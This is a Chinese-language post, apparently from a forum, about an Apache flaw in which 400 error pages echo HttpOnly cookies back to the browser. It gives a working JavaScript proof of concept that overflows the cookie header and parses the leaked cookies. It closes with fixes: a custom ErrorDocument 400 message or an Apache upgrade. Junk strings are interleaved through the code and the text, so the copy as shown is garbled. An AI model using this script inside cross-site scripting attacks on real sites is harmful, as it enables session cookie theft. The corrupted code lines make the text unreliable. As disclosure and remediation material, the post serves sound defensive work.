Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

1 ^6 L# F4 d  `# {用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
: q+ y3 S3 i* U3 n, l

// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
; v: ^$ }6 k7 h1 r// Construct string for cookie value
var str = "";
1 L: E$ w  Y& l$ |9 D: Kfor (var i=0; i< 819; i++) {
7 P! p* G# k+ s, B. k% d" ?str += "x";
}
2 V, ]# T- l" g6 H2 v// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
7 e3 B0 }7 m4 R$ w}
, m/ ]8 ]# d) ~8 l' F2 a// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
% N+ E9 O' J; q* r}
document.cookie = cookie;
# j0 I* s2 |6 k9 F, A}
}
, p8 I5 D5 |; V+ x  e9 M' _function makeRequest() {
5 U  |. A8 B. csetCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
5 X$ X; T) N# c, |7 W8 Gif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
0 m; K* m. Q8 V/ V8 Xif (content.length) {
// Remove Cookie: prefix
# u5 }$ x# K8 x) Ycontent = content[1].replace("Cookie: ", "");
; Z5 X0 r* h* I. F5 ?* q2 {var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; r- }3 g9 ?$ C// Add cookies to object
' L) y. J' X) r; @+ ffor (var i=0; i<cookies.length; i++) {
- S( }/ K2 x3 M5 p3 }var s_c = cookies.split('=',2);
' [% B1 F2 k: F3 o, P3 s% Vcookie_dict[s_c[0]] = s_c[1];
* O* ^6 O2 {0 F, \) P4 F" z}
}
// Unset malicious cookies
setCookies(true);
6 S, _7 l  J8 Oalert(JSON.stringify(cookie_dict));
5 p# Q" \8 T# K" L% r}
' ?; D$ K9 t" P( e& ?}
, i: S7 b: O3 R// Make XHR request
' \& L( g4 }5 q8 A8 O: C: t' |var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();
5 ^+ N  M& `( E/ d' J0 s
2 }% W/ L8 @, I. G, f0 S9 O. ^你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

5 }& b0 _* n+ ^1 U1 TIn the event of a problem or error, Apachecan be configured to do one of four things,
! ~5 P& g% d4 o. r2 t
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
& `- y4 r5 N5 L" A3 C  j
4 }' U: [, ^: S8 D( X# ?经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
1 S/ L2 P# o' e: v9 x
- y, {! a- n2 \  p/ B( vApache配置：

ErrorDocument400 " security test"

( W6 w. W, }, t5 p+ |2 ]( j+ o* S当然，升级apache到最新也可：）。
6 L: y1 {3 n8 q. P/ k8 S
参考：http://httpd.apache.org/security/vulnerabilities_22.html
% Z- }, K" `# s% l1 \' b: d1 L